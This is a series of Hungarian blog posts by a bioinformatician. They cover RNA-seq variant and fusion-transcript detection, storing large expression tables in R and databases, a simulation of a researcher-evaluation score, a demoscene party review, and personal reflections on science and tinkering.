A bioinformatikában vannak dolgok, amiket érdemes megcsinálni, mert jó eredményt adnak. Vannak dolgok, amiket érdemes megcsinálni, még akkor is, ha tudjuk, hogy az eredmény nem feltétlenül tükrözi a valóságot. Végezetül vannak dolgok, amiket meg lehet csinálni, de teljesen feleslegesek. Ma ez utóbbiról fogok írni.

Ez pedig nem más, mint a nukleotid variációk detektálása RNA-seq adatokból. Az, hogy kár erre az időt vesztegetni, csupán a személyes véleményem, a szakirodalom elég sokat foglalkozik vele és a Sangerben is volt egy kolléga, aki elmélyült a témában, vele beszélgettem.

Először is, miért gondolom, hogy értelmetlen? A kapott eredményeket nagyban befolyásolják a poszt transzkripciós nukleotid modifikációk. Ha látunk egy SNP-t az RNA-seq adatokban, az nem feltétlenül jelent genomi változást, elképzelhető, hogy a szekvenáló gép rosszul értelmezett egy módosított bázist. Továbbá ha az egyik allél tartalmaz egy olyan mutációt, ami megakadályozza a transzkript átírását (például korai stop kodont tartalmaz), arról nem kapunk információt a szekvenálás során, egyszerűen, mert nem képződik az allélról semmi. Egyik esetben sem ússzuk meg a DNS szekvenálást. Ha pedig mindenképp kell még egy szekvenálás, akkor mi értelme a vizsgálatnak?

Egyedül akkor van értelme, ha igazolni akarjuk, hogy egy SNP tényleg átíródik vagy sem. De ha a módosult fehérjére vagyunk kíváncsiak, akkor meg tömeg spektrometriát kell végezni.

Akik mégis végre akarják hajtani a vizsgálatot, érdemes követni a GATK ajánlását. A folyamat nagymértékben hasonlít a DNS feldolgozás lépéseire, ezért ismerős lehet annak, aki már csinálta (vagy olvasta ezt a bejegyzést).

Milyen eredményre számíthatunk? Semmi jóra. A fent említett kollégám a Sanger összes elérhető mellrák mintájára lefuttatta a GATK pipeline-t, majd az eredményeket összehasonlította az exom szekvenálásból kapott variációkkal. A fals pozitívok száma óriási volt. Úgy tudta valamelyest visszaszorítani a hibás találatok számát, hogy készített egy úgynevezett normál panelt. Ez azt jelenti, hogy fogott 120 normál mintát, azokon is lefuttatta a GATK-t, és amit abban talált, azt egy táblázatba rendezte, mint ismert hibát. Ezt használta szűrésre a rákos mintáknál. Az eredmények jobbak voltak, de még mindig nem érték el azt a szintet, amit egy SNP detektálótól elvárna az ember.

Ezt egy munkabeszámolón adta elő, ahol a normál panel méretének növelését célozta meg. Nem tudom, hogy utána mennyit foglalkozott a dologgal, de egy átlagos kísérletnél nincs lehetőség ekkora erőforrásokat mozgósítani, pláne, ha van egyszerűbb módja is a variációk azonosításának.

Szólj hozzá!

Címkék: bioinformatika

Cseppet sem objektíven: Assembly 2017

2018.03.05. 00:25 Travis.CG

Az idei Assembly már elég régen történt, de csak mostanra sikerült mindent megnéznem. Mivel a demók az örökkévalóságnak szólnak, nem az adott pillanatnak, szerintem nyugodtan áttekinthetjük őket.

Zene

A demópartik közül az Assembly zenei kínálata szokott a leginkább tetszeni és ez idén sincs másképp. Ismét igen széles stílus kínálattal találkozhattunk. Dance kategóriában a Sunlight és a Latin space érte el, hogy bekerüljön a zenei gyűjteményembe. Fast kategóriában az agresszív nevű Super Dragon Power Turbo volt a legemlékezetesebb. El sem tudom képzelni, milyen adrenalin fokozó szót lehetne még belepréselni a címébe. A mellékvesém le is merült teljesen, a Listening music kategóriából semmi nem maradt meg bennem.

Intrók

Az 1k intrók nem voltak a legerőssebbek. A Shoot the core határozottan a Final Stage Boss utánérzése volt 1k kiadásban. Az akció elég lapos volt, különösen, hogy a gépemen 20 FPS-el ment. Olyan volt, mint egy akciófilm öreg emberekkel. A JavaScript kölykök viszont kitettek magukért. A Bloody Brilliant, mint neve is mutatja, brilliáns. A Voltra is tetszett, de csak azért mert 1k!  Ebben a mérettartományban JS-el ilyet készíteni igazi kihívás. A 64k nagy nevei itt nem képviseltették magukat, csupán a Mercury kemény magja bújt kamu csapatnév mögé. Mellesleg az ő produkciójuk volt a legkiemelkedőbb.

Wild

A videók egy kicsit csalódást keltettek. Nem voltak fraktálok, hiányoztak a drón felvételek. Egyedül az Antivirus 2017 csalt némi mosolyt az arcomra, de a sztori itt is kicsit inkoherens volt. A mini számítógépben volt egy kicsi billentyűzet, amit csak összezsugorított emberek nyomkodhattak? Lehet, csak én voltam túl földhöz ragadt. Természetesen nem maradhattak el a barkácsolt demo platformok sem. A kórházi kijelző demóplatformmá történő alakítása a hazai egészségügy helyzetét nem javítaná, de biztosan kellemesebb időtöltést nyújtana, még a digitális kultúra ellenzőinek is. A Legoból készített szintetizátoron játszó gépszörny impozáns volt, de őszintén szólva, nem értettem a lenyomott gomboknak milyen hatása van a produkcióra. A videóból ugyanis úgy tűnt, semmilyen. A csúcs természetesen a motorizált keverőpult volt, amit a zene vezérelt.

Demók

Végezetül jöjjöj a király kategória! A felhozatallal nem volt semmi probléma. Sokan kritizálják a Pyrotech demókat, és való igaz, rájuk jár a rúd. A csapat vezetője szokott panaszkodni, hogy már nem olyan könnyű összerántani a bandát, az alkalmazott kódbázis évek óta nem frissül, de azért igyekeznek kihozni a legjobbat abból, amijük van. A Sokia számomra olyan felemás volt. Egyrészt technikailag talán a legjobb demó volt, de mindebből alig látszik valami, mert a grafikai elemek egymásra vannak hányva, a rezgő, vibráló effektek meg lehetetlenné teszik, hogy látni lehessen, mi is zajlik a képernyőn. Fórumon, akik mindezt szóvá tették, azt a választ kapták, hogy nem tisztelik az alkotót és annak alkotását, miközben a demoscene tele van pocsék releasekkel. Nekem ez kicsit olyan, amintha egy filmrendező kifogásolná, hogy nem kapta meg az Oscart, mert milyen remek operatőri munka és színészi játék van a filmjében, miközben megfeledkezik róla, hogy a film címe: Bányászok harca éjfélkor az alagútban. Persze, ha nem lenne dráma, én sem tudnék miről írni. Akár hogy is, a Zoomin nem véletlenül nyert. A party látogatóinak bizonyára jobban feküdt egy olyan látványvilág, amit azonnal be tudtak fogadni. Ha mindenképp kellene egy nyertest választani, akkor talán a Geometry Gods lenne az. Rengeteg jó ötlet van benne és egyáltalán nem mentes a hibáktól, de többnek érzem, mint egy vegytiszta technológiai demonstrációt.

Szólj hozzá!

Címkék: demoscene

Táblázatok tárolása (és gyors betöltése)

2018.03.02. 13:13 Travis.CG

Arról, miként nézzen ki egy táblázat, már írtam korábban, hogy miként tároljuk azokat, még nem esett szó. Erre több módszer is létezik, ezekből szemezgetnék párat a teljesség igénye nélkül. A következő teszteket a GTEx RNA-seq táblázatával próbáltam ki, ami 1.7GB méretű. Ezt bárki letöltheti és további próbákat tehet vele. Az oszlopok az EnsEMBL gén azonosítók, az oszlopok pedig a megszekvenált minták.

Szöveges állományok

Természetesen a legegyszerűbb megoldás, ha csak úgy hagyjuk őket, ahogy vannak. A legnépszerűbb megoldások a tabulátorral vagy pontosvesszővel elválasztott szövegek (a GTEx az előbbi). Ezeket R-ben például nagyon egyszerű betölteni.

d1 <- read.table("count.tsv", check.names = F, sep = "\t")

Ha viszont megnézzük, milyen sebességgel kerül a memóriába ez a fájl, már nem olyan vidám a helyzet. A tesztelésre használt gépen ez 217.721 másodpercet vett igénybe. A readr csomag sokat lendíthet az olvasási sebességen.

d2 <- read_table2("count.tsv")

Ez kevesebb, mint fele idő alatt dolgozza fel a táblázatot (90.63 mp). De mi a helyzet, ha a rendelkezésre álló memória nem teszi lehetővé, hogy mindent beolvassunk? Szerencsére erre is van megoldás. A bigmemory csomag segítségével nem csak beolvashatjuk a táblázatunkat, de olyan elemzéseket is végezhetünk, amelyek korábban lehetetlenek lettek volna a kevés memória miatt.

d3 <- read.big.matrix("count.tsv", header = T)

Ez igazi sebesség, 36.569 másodperc! De sajnos van egy nagy hátránya a tisztán szöveges adatnak. Először is a metainformációk kezelése nehézkes. Képzeljük csak el, ha csak az agyból származó mintákkal akarunk foglalkozni. Valahogy ki kéne őket szűrni, de ahhoz egy másik táblázatot kellene felhasználnunk.

Természetesen nem megoldhatatlan a probléma, de miért mi párosítsuk az adatokat, ha erre már létezik kész megoldás?

SQL adatbázisok

Ez az adattárolás teljesen más formája. Egyrészt a táblák közötti kereszt referenciák kezelése jóval egyszerűbb lesz, másrészt maguk a táblázatok formája át fog alakulni. Az SQL nem teszi lehetővé, hogy mátrixunkat sor-oszlop formában tároljuk. Át kell alakítani azt egy három oszlopos formába, ahol az első oszlop a sor azonosító, a második az oszlop azonosító, a harmadik pedig a cella értéke, jelen esetben a nyers expressziós érték:

gene sample count
ENSG00000223972.4 GTEX-1117F-0226-SM-5GZZ7 3
ENSG00000223972.4 GTEX-111CU-1826-SM-5GZYN 4

Elsőre talán bonyolultnak tűnik ez a tárolási módszer, de van egy előnye: többé nem kell két dimenzióba gondolkodnunk. A szöveges állományok esetén egy ha egy újabb dimenzióval szeretnénk bővíteni a táblázatot, akkor az rengeteg többlet munkával jár. SQL esetén mindez egy új oszlop felvételét jelenti.

Most már készíthetünk egy új táblát, amiben megfeleltetjük az EnsEMBL azonosítókat gén szimbólumoknak, adhatunk hozzájuk kromoszóma pozíciókat, bármit, amit szeretnénk. A semmit mondó minta azonosítókhoz is rendelhetünk további információkat, mint amilyen a páciens neme, a szövet típusa vagy a mintavétel ideje. Miként használhatjuk ezt R-ből?

Ha például MySQL-ben (vagy MariaDB-ben) csináljuk mindezt, akkor használhatjuk az RMySQL csomagot.

library(RMySQL)
con <- dbConnect(MySQL(), user="user", password="abc123", dbname="gtex", host="localhost")
rs <- dbSendQuery(con, "select * from count")
raw <- fetch(rs, n = -1)
count <- xtabs(count ~ gene + sample, data = raw)
count <- as.data.frame.matrix(count)

Sajnos ez a nagyfokú szabadság nincs jó hatással a sebességre. Bármilyen optimalizáció nélkül a fenti kódot kb. 10 perc után leállítottam, mert 32GB RAM mellett is swappelt.

NoSQL adatbázisok

Számomra igazi meglepetés, hogy nincs olyan NoSQL adatbázis, ami képes lenne GTeX mennyiségű adat tárolására. Természetesen, aki nagyon akarja, bele tudja erőltetni az adatokat bármibe, de a BigTable típusú adatbázisok alapesetben képtelenek kezelni több ezer oszlopot. A HBase 3-4 oszloppal boldogul hatékonyan. A Google-féle BigTable büszkén hirdeti, hogy 100 oszlop családdal is megbírkózik, míg a HyperTable max. 255-öt kezel. Ez meglepetés volt nekem.

Összegzés

Mikor elkezdtem ennek a posztnak az írását, abban reménykedtem, hogy a végén találok egy olyan megoldást, ami hatékonyan kezeli a nagy táblázatokat. A sok telepítés és próbálgatás után viszont úgy látom, egy ideig nem szabadulunk meg a jó öreg szöveges állományoktól. Akinek a fenti megoldásokon kívül jobb ötlete van, kommentben nyugodtan írja meg.

6 komment

Címkék: bioinformatika

Kutatói értékelés

2018.02.25. 23:01 Travis.CG

Míg más szakmáknál nem okoz gondot a dolgozók teljesítményének meghatározása, addig a tudományos életben ez igazi kihívás. Egyrészt nehéz meghatározni, milyen értékeket mérjünk, hiszen a kutatás-fejlesztés nagyfokú bizonytalansággal operál. A másik probléma a kutatók személyisége, ugyanis a teljesítményük firtatását személyes támadásnak veszik.

Mindezt egy racionalizált köntösbe burkolják és nem a mérés tényét kérdőjelezik meg, hanem a mérés módját. Többnyire megoldási javaslatot nem adnak, hanem éles kritikai hangon, alacsony valószínűségű forgatókönyvek felvázolásával támadják a rendszert.

A bírálatok másik közös jellemzője, hogy azt állítják, az adott módszer csak a kiagyalójának előnyös. Nem állítom, hogy ezek a mérések teljesen objektívek lennének, de a tapasztalatom az, hogy aki rendesen dolgozik, azt nem éri hátrányos megkülönböztetés.

Nézzük meg, most milyen jellemzők alapján értékelik a munkámat és egy kis szimulációval nézzük meg, mit kell tennie annak, aki kiváló minősítést akar szerezni.

Az értékelés alapja egy pontszám, ami a súlyozott összege különböző kutatói tevékenységeknek, mint például hány könyvet írt az illető, mennyi PhD hallgatója volt, stb. Mindezt az elmúlt 3 évre. A pontszámot a következő R függvénnyel lehet kiszámítani:

calcScore <- function(ifjournal, topjournal, book, sumif, patent, cite, grad, phdnum, phdgrad, mscgrad, bscgrad, grant){
score <- ifjournal * 4 +     # Number of journal with IF
         topjournal * 20 +   # Number of top journals
         book * 5 +          # Number of books
         sumif * 1.2 +       # Sum of IFs
         patent * 5 +        # Number of patents
         cite * 0.1 +        # All citations (not just the last 3 years)
         grad * 20 +         # Number of degrees
         phdnum * 4 +        # Number of PhD students
         phdgrad * 4 +       # Number of graduated PhD students
         mscgrad * 2 +       # Number of graduated MSc students
         bscgrad * 1 +       # Number of graduated BSc students
         grant * 5           # Grants (million HUF)
return(score)
}

A topjournals egy nagyon homályos meghatározás, valami olyasmi, hogy olyan első vagy utolsó szerzős Q1 lapban megjelent publikáció, ahol nagyon rövid idő alatt nagyon sokan hivatkoznak rá, de képtelen voltam megjegyezni. Nekem úgy tűnik a gyakorlatban ilyen senkinek nincs, ezért a szimulációban is rendre 0 értékkel szerepel.

Ez a kutatói pontszám az én esetemben 130 körül van, illetve csak 48, mivel egyik cikkem sem itteni munkából származik, és mint ilyen, nem is számít az étékelésbe. Tudományos munkatárs esetén 150 pontot kell elérni, főmunkatárs esetén 300-t a kiváló minősítéshez (tanácsadónak az elképesztő 600-t). Lássuk, mi kell ehhez!

num_sym <- 1000

scientists <- data.frame(ifjournal = rep(0, num_sym),
topjournal = rep(0, num_sym),
book = rep(0, num_sym),
sumif = rep(0, num_sym),
patent = rep(0, num_sym),
cite = rep(0, num_sym),
grad = rep(0, num_sym),
phdnum = rep(0, num_sym),
phdgrad = rep(0, num_sym),
mscgrad = rep(0, num_sym),
bscgrad = rep(0, num_sym),
grant = rep(0, num_sym),
score = rep(0, num_sym)
)

for(i in 1:num_sym){
  ifjournal <- sample(1:10, 1, replace = T)
  topjournal <- 0 # I do not think it is real
  book <- sample(0:3, 1, replace = T)
  sumif <- sum(rnorm(5,2, n = ifjournal))
  patent <- sample(0:1, 1, replace = T)
  cite <- sample(2:300, 1, replace = T)
  grad <- sample(1:3, 1, replace = T)
  phdnum <- sample(1:3, 1, replace = T)
  phdgrad <- sample(0:1, 1, replace = T)
  mscgrad <- sample(0:2, 1, replace = T)
  bscgrad <- sample(0:2, 1, replace = T)
  grant <- sample(0:5, 1, replace = T)
  score <- calcScore(ifjournal, topjournal, book, sumif, patent, cite,   grad, phdnum, phdgrad, mscgrad, bscgrad, grant)
  scientists[i,] <- c(ifjournal, topjournal, book, sumif, patent, cite, grad, phdnum, phdgrad, mscgrad, bscgrad, grant, score)
}

Remélem elnézitek nekem az apply hiányát. Tehát úgy számoltam, hogy maximum 10 cikke jelenhet meg az illetőnek, max 3 könyve, a cikkei átlag 5 impakt faktort érnek, lesz max 1 szabadalma, legfeljebb 300 citációja, 3 tudományos fokozata, 3 PhD hallgatója, akik közül legfeljebb 1 végez, MSc és BSc hallgatókból pedig max 2-2 fejezi be tanulmányait és legfeljebb 5 millió forintot szed össze pályázattal.

simulation.png

Nos, ezekkel a mutatókkal egy főmunkatárs csak átlagos értékelést kaphat. A szimulációmban egyetlen kiváló főmunkatárs sem lett. De egy tudományos munkatársaknak is fel kell kötnie a gatyát. Ha csak három cikke jelenik meg, akkor is minimum 20 IF-t össze kell gereblyézni, 251 citációval a teljes életműből és még jó, ha van 2 végzett PhD hallgatója is. (A saját PhD időmre visszagondolva, velem ezek alapján nem sok témavezető járt volna jól.)

A szimuláció legjobbjának 10 cikke volt, 47 impakt faktorral, 3 könyvet írt (évente egyet), egy szabadalmat hozott össze, élete során 287 citációt szedett össze, 3 fokozata van, 2 PhD hallgatója van, de egyik sem végzett, 2 MSc hallgatója már lediplomázott, BSc hallgatókkal nem foglalkozott és 4 millió forint pályázati pénze volt. A szimuláció nem mondja meg milye van még ennek az embernek, de két valamilye biztos nincs: élete és kiváló minősítése.

Szólj hozzá!

Címkék: életmód

Buhera generáció

2018.02.18. 22:41 Travis.CG

A főnököm nagyon szorgalmazza, hogy legyen egy szakdolgozóm. Meg is kérdezte, milyen elvárásokat fogalmazzunk meg a kiírásban. Persze, jó lenne, ha tudna programozni, jó lenne, ha nem most látna először Linuxot és még sorolhatnám. A realitás talaján maradva csak annyit kértem, Facebook és YouTube-on kívül csináljon mást is a számítógéppel.

Arra gondoltam, aki nem csak egy interaktív tévének tekinti a számítógépet, egyrészt kreatív, másrészt talán rendelkezik olyan képességekkel, hogy érti, miért nem lehet végtelen mennyiségű programot egyidejűleg futtatni, mi az a memória vagy miért lassul le a gép, ha a merevlemezről elkezd olvasni.

Mondanom sem kell, nem találtunk ilyen embert. Ezen kicsit meglepődtem. Most, hogy a számítógépek teljesítménye hihetetlen lehetőségeket ad, az internet tele van információval, hogyan valósítsuk meg a legvadabb álmainkat is, nem találni olyat, aki ezeket felhasználná?

Gyorsan körbe is kérdeztem ifjú munkatársaimat, hogyan ismerkedtek meg a számítógépekkel és mit csináltak vele. Az első gépük már Pentium volt, és játszottak rajta. Egyikük tanult programozni, de utálta. Mondjuk ő most is előnybe részesíti a kódolás nélküli feladat megoldást. Ha egy feladatot meg lehetne oldani egy rövid scripttel vagy három másik program együttes alkalmazásával, általában az utóbbi mellett dönt.

Nekem annak idején nagyon tetszett, hogy a számítógép többféle feladatot meg tud oldani és erre én utasíthatom. Meg is próbáltam minél változatosabb feladatokra használni. Például mikor meg kellett tanulnom valamit, ami nehezen ment, írtam egy programot, ami kikérdezte az adott anyagot. Amikor először láttam egy animációt az immunrendszerről a Deltában, én is olyat akartam csinálni.

Egy barátom, akinek szintén PC volt az első gépe, QBasicben írt programot adott anyák napjára ajándékba. Ez mondjuk még az én szememben is ultrageek.

Eddig csak számítógépekről írtam, de természetesen az alkotás vágya nem kell, hogy arra korlátozódjon. Például egy gyerekkori barátom mosóporos dobozból robotot épített, ami emlékeim szerint valami mozgó bázisként funkcionált, mert a kisautói abból rajzottak elő.

De a nagyobb fiúk is, akik elég idősek voltak, hogy kismotorral járjanak, előszeretettel bütykölték járgányukat. Gyakran semmi értelmeset nem csináltak, csak szétszerelték, azután újra összerakták, miközben én szájtátva néztem az olajtól úszó, kimondhatatlan nevű alkatrészeket.

Kicsit szomorú vagyok, hogy így megcsappant az érdeklődés a buherálás iránt. El is határoztam, az én gyerekem nem ilyen lesz. Amikor csak módom volt rá, olyan játékokat játszottam vele, ahol fakockákból építeni kell vagy összerakni valamit.

Az elején egészen jól ment, látszott rajta, hogy élvezi. Aztán történt egy gubanc. A kockatorony, amit építettünk, másfél méter magasan elkezdett imbolyogni és leomlott. Ezen csemetém úgy felhúzta magát, felkapta a kockákat és elkezdte dobálni őket, majd tüntetőleg leült a YouTube elé és Kindertojás kicsomagoló videókat nézett. Minden további kísérletem a jövő nagy buherátorának felnevelésére kudarcot vallott.

Ahogy néztem, az jutott eszembe, hogy talán a tevékenység figyelemmel kísérése is olyan, mintha mi magunk csinálnánk. Hiszen nekem is mennyire tetszett, ha a nagyokat nézhettem motor szerelés közben. Az, hogy mindez manapság képernyőn keresztül történik, igazából részletkérdés.

Talán azért álltam neki annak idején animációt készíteni, mert nem tudtam, hogyan kell? Az információ hiánya váltja ki az emberekből a cselekvést? Esetleg a túl sok információ az, ami elrettenti az embereket? Hiszen ha kiderül, mennyi energia kell például egy animáció elkészítéséhez, sokan talán bele sem kezdenének.

A túl sok információ paralizáló hatásának érzékeltetésére van egy anekdota: Egy juhász, amikor látta, hogy egyik birkájának hályog nőtt a szemén, bicskájával eltávolította azt. Egyik ilyen műtétet meglátta egy városi ember és elkezdte magyarázni a juhásznak, mennyire veszélyes, amit csinál és milyen bonyolult dolog is ez. Ezek után a juhász keze remegni kezdett és többet egyetlen birkát sem gyógyított meg.

Szólj hozzá!

Címkék: filozofálás

Majdnem mindent az RNA-seq-ről (8.rész)

2018.01.28. 22:41 Travis.CG

Az RNA-seq adatokat nem csak expressziós változások meghatározására használhatjuk. A readek segítségével azt is megtudhatjuk, vannak-e mintáinkban fúziós transzkriptek. A fúziós transzkripteknek alapvetően két csoportja van. Az első, amikor az RNS polimeráz valami oknál fogva nem áll meg és két egymás közelében lévő transzkriptet ír át, majd ezek a további lépések során sem válnak el.

A másik csoportba azok a fúziós transzkriptek tartoznak, amelyek mögött genomi átrendeződés van. Ilyenkor egy reciprok transzlokáció következik be a genomi DNS-ben, ami szabványos transzkriptet eredményez és arról fehérje tud képződni.

Fúziós transzkripteket elsősorban tumor mintákban keresnek, de egyre több bizonyíték van rá, hogy normál mintákban is előfordulhatnak. Bioinformatikai szempontból a fúziós transzkript keresés nem más, mint olyan szekvenciák azonosítása, amelyek a fúziókat átérik. Ezek lehet szokatlan távolságú read párok, vagy olyan readek, amelyek a töréspont egyik végén indulnak, de a másikon végződnek.

Nyilvánvaló, minél hosszabbak a readek, annál biztosabbak lehetünk a fúzió valódiságáról, de érdemes megjegyezni, hogy a referencia szekvencia alapú megközelítéseknél (vagyis ha illesztjük a readeket) vannak bizonyos nehézségek.

Először is, a géncsaládok szekvenciái hasonlóak. Ez könnyen vezethet oda, hogy az illesztőprogram képes két távoli szekvenciára elhelyezni a readeket. A tapasztalat az, hogy a szoftveres úton azonosított fúziós transzkriptek nagy százaléka műtermék, ezért ismét csak megjegyzem, kísérletes validálás nélkül ne higgyjünk el semmit, amit a képernyőn látunk.

Én alapvetően két programot használtam. Az első az EricScript. A letölthető adatbázis ember esetén nekem nem működött, de ha magam készítettem el azt a Fasta fájlokból, akkor zökkenőmentes volt. Függőségei: Samtools, amiből csak a 0.1.19 verziót fogad el és a Blat. Ez utóbbi fordítását a dokumentáció rosszul jelöli, a helyes parancs a következő:

make -f makefile BINDIR=.

A program meglepően lassú és viszonylag kevés fúziós transzkriptet ad vissza. Egyes publikációk ezt tartják a legpontosabb programnak.

Tettem egy kísérletet a SOAPFusion-el is, de ezt nem sikerül használnom. Az EnsEMBL-ről letöltött GTF állományt nem szerette. A forráskód átnézése után a következő egy sorossal tudtam olyan GTF fájlt generálni, amit elfogadott:

grep "gene_id" ref_annot.gtf | grep transcript_id | grep gene_name | grep transcript_name >soap.gtf

A másik furcsaság, hogy a kromoszóma neveknek tartalmaznia kell a chr karaktert. A furcsa ebben az, hogy a forráskódban láttam egy részt, ami azonosítás után rögtön le is vágja azt. A formázások ellenére nem készített transcript.fa állományt a referencia genomból, ami a további lépésekhez elengedhetetlen, de hibaüzenetet sem adott, ezért tovább nem dolgoztam vele. Bár nem ez lenne az első alkalom, hogy kifogott rajtam a programcsalád egy tagja.

A STARFusion egy STAR illesztőre épülő fúzió detektáló program. Előnye, hogy rendkívül gyors, hátránya, hogy 30GB memória alatt el sem érdemes indítani. A STAR illesztő futtatása rejtve marad a felhasználó elől, de nekem néhány esetben szükségem volt, hogy saját magam futtassam azt. A STARFusion ugyanis rendezett BAM fájllal dolgozik és a sortBAMmemori opcióban megadott memória nagysága egyes nagy méretű BAM fájloknál nem elégséges. Érdemes lenne ezt a paramétert kivezetni a STARFusion-be. A dokumentáció egyébként részletes és pontos. Ugyanakkor furcsa, hogy az összehasonlító cikkek előszeretettel megfeledkeznek róla.

A programok pontosságáról nincs első kézből információm, mert eddig egyetlen projekt sem, ahol fúziós transzkripteket kerestünk, jutott el a validálásig. Egyedül annyit mondhatok, hogy a TCGA adatokon a STARFusion megtalál mindent, amit ebben az adatbázisban leírtak, sőt, még többet is.

Az adatbázis elkészítéséhez a PRADA programot használták, de agresszíven kiszűrtek egy csomó transzkriptet. Például azokat is, amelyek ötnél több tumor mintában előfordultak. Hiába, nem akarják, hogy az általuk elkészített adatbázisból mások írjanak cikket.

Szólj hozzá!

Címkék: bioinformatika

Időutazás

2018.01.18. 22:33 Travis.CG

Úgy adódott, hogy adatbázisokat kellett keresnem. A keresés közben rengeteg halott vagy zombi állapotban lévő oldallal találkoztam. Egyes esetekben viszont a régi oldalak éltek és valami megmagyarázhatatlan csoda folytán még működtek is! Túl sok értékük nincs, de mai szemmel nézve mosolyogtató látni a tíz éves megoldásokat.

Csatlakozzatok velem egy utazásra, ahol nincs JavaScript, nincs (vagy alig van) CSS, de vannak animált GIF-ek, rég elfeledett böngészők és 16 bites színek.

Az első Neal mutációs tudástára. Mindjárt egy IFRAME keretes weboldal köszönt ránk. Vagány napszemüvegek az oldal tetején, hogy lássuk, Neal milyen laza csávó volt a '90-es évek végén. De már akkor is ott figyelt a Big Data! Az akkori lehetőségekhez képest, persze. Neal ugyanis figyelmezteti az egyszerű felhasználót, hogy adatbázisának letöltése 2-3 órát vesz igénybe, ha modemmel próbálkozunk. Sajnos sosem fogjuk megtudni, hogy a Windows 3.1 alatt is futtatható programok milyen gyorsan töltődnek le a mai sávszélességgel, mert a linkek legtöbbje nem működik.

Külön érdekesség a linkek, ami az AltaVista előtti hagyományokat követi. Annak idején ugyanis a weboldalak tartalmaztak linkeket más, érdekes, gyakran teljesen irreleváns oldalakra. Mindenki maga gyűjtögette az általa hasznosnak ítélt tartalmakat, amiket aztán megosztottak másokkal.

Ez a koreai weboldal csak nyolc éves, de mintha az ezredforduló előtt készült volna. A gyönyörű gombok, az oldal alján meg figyelmeztetés, hogy 1280x1024-es felbontásban érdemes nézni az oldalt. A flexibilis UI-k világában meglepő, hogy annak idején a weboldalakat egy bizonyos felbontásra lőtték be.

Végül jöjjön a koronaékszer. Egy 2000-ből származó cikk adatai küszködnek itt az idő vas fogával. Az oldal megtekintéséhez Netscape kellene, abból is a 4-es verzió, de a mai böngészők is elég jól megbírkóznak az oldallal. Van némi CSS, de a formázások többsége a HTML kódban található.

Szólj hozzá!

Címkék: életmód bioinformatika

Politikai döntés

2018.01.15. 23:23 Travis.CG

Egy újabb régi munkára került fel a pont. Megjelent a második genom szekvenálásból származó cikkem.

A szarvassal már régóta foglalkoztak az intézetben. Mikor PhD hallgató voltam, már akkor is rengeteg előadást hallottam a vele folytatott munkákról. Ha jól emlékszem, 2014 körül jött el az idő, hogy a genomot is megszekvenálják. De nem az a csoport szekvenált, aki eddig szarvasozott, hanem egy másik csoport és talán itt kezdődött az az ellentét, ami végül egy hatalmi vitába torkollott.

Az elején az egész genom egy nagy rakás FASTQ read volt. Már az összerakás sem ment zökkenő mentesen, hála a pécsi szuperszámítógépnek, ami valahogy soha nem akart egy hónapnál hosszabb ideig üzemelni. Végül mégis lefutott az ALLPATHS és a nagy rakás FASTQ-ból lett egy kisebb rakás scaffold.

Igazából már ezzel is dolgoztak, mert emlékszem, kellett SNP-ket kibányásznom a szekvenciákból és a mitokondriális DNS vizsgálatok is mintha ebből merítkeztek volna.

Teljes mellszélességgel akkor kezdtem dolgozni az adatokkal, amikor felmerült az ötlet, hogy a genetikai térkép alapján próbáljuk meg összerakni a scaffoldokat pszeudó kromoszómákká. Elöször azonosítottuk a genetikai markereket, amelyeket a genetikai térképezés során használtak. Azokat a scaffoldokat, amelyek tartalmazták ezeket a marker szekvenciákat, azonnal el tudtuk helyezni a képzeletbeli kromoszómán. Ezen marker szekvenciákat, ha tudtuk, a szarvasmarha genomon is megkerestük.

Ha két marker ugyan azon a kromoszómán volt a szarvasban és a szarvasmarhában is, akkor feltételeztük, hogy azok a scaffoldok, amelyek Blasttal elhelyezhetőek a szarvasmarha genomra és a két marker között vannak, a szarvas genomban is a két marker között lesznek.

Mivel nem volt sok marker, így is sok lyuk tátongott a pszeudo kromoszómákon. Személy szerint itt meg is álltam volna, de akkor jött az újabb ötlet: vegyük bele a szarvasmarha gének sorrendjét is a játékba, mintha azok is markerek lennének. Ha tehát két marker között volt egy gén a szarvasmarha genomban, akkor úgy vettük, hogy a szarvasban is ott van.

Közben egyre több cikk jelent meg, ahol sika szarvast meg más rokon fajokat szekvenáltak tizesével, miközben mi egyetlen genommal vesződtünk. Volt egy szerencsétlen próbálkozás, hogy újabb szekvenálást indítunk, hosszabb readekkel vagy hosszabb távolsággal a readpárok között, de a pénzügyi helyzet közbeszólt. Inkább újabb ötleteket eszeltünk ki, hogy a szarvasmarha genom információkat a szarvasra alkalmazzuk.

Többször hangoztattam, hogy túl sok információt veszünk át más genomokból, ami nem feltétlenül igaz a szarvasra. Jutalmul részt vehettem egy megbeszélésen, ahol egyetlen szót sem kellett szólnom, cserébe tudomány történeti kiselőadást hallhattam arról, hogy az első lépések az ismeretlenbe nem feltétlenül a helyes eredményt adják. Például a nagy földrajzi felfedezések idején rajzolt térképek közelében sincsenek a kontinensek valódi formájával. Ez kétségtelenül igaz, de továbbra sem tudtam szabadulni a gondolattól, hogy túl nagyvonaltúak kezeljük az evolúciós folyamatokat.

Közben egy másik égető probléma is jelentkezett. A szarvasos csoport egyre inkább úgy tekintett a genom projektre, mint aminek nulla a tudományos értéke és inkább csak szentimentális töltete van. Történetesen úgy gondolták, hogy nem is kellene tudományos lapban megjelentetni, hanem a Nimródban, mert ez a vadászokat biztosan jobban érdekli.

Gyarló emberi lényként engem nem érdekeltek a vadászok. Lehet, hogy másképp lövik halomra azokat az állatokat, amelyeknek ismert a genomja, nem tudom. De nekem, mint kutatónak az egyetlen valutám a publikáció. Nimród, Kiskegyed nem tartozik ezek közé. Azon kívül a témán dolgozott nem egy PhD hallgató is, akiknek fokozat szerzése múlhatott volna egy ilyen döntésen. Egyébként nem is értettem, miért nem lehet egy tudományos közlés után megjelentetni róla egy összefoglalót?

Végül elkészültek a pszeudo kromoszómák és én elhagytam az intézetet. Kézzel még további scaffoldokat helyeztek el, ami elég sziszifuszi munka. De ezzel még nem volt vége! A szekvenciákat annotálni is kellett. Ez sem volt olyan egyszerű, mert a legtöbb annotáló program még bakteriális szekvenciákon is napokig fut. Ez pedig egy eukarióta volt. Részleteket nem tudok a folyamatból, de elég nehéz volt.

Közben a többiek a fentihez hasonló megbeszéléseket folytattak, ahol a visszatérő téma a sika szarvas szexuális élete volt. Egészen pontosan a gím és sika szarvas násza. Hiába, a kutatók válaszokat keresnek.

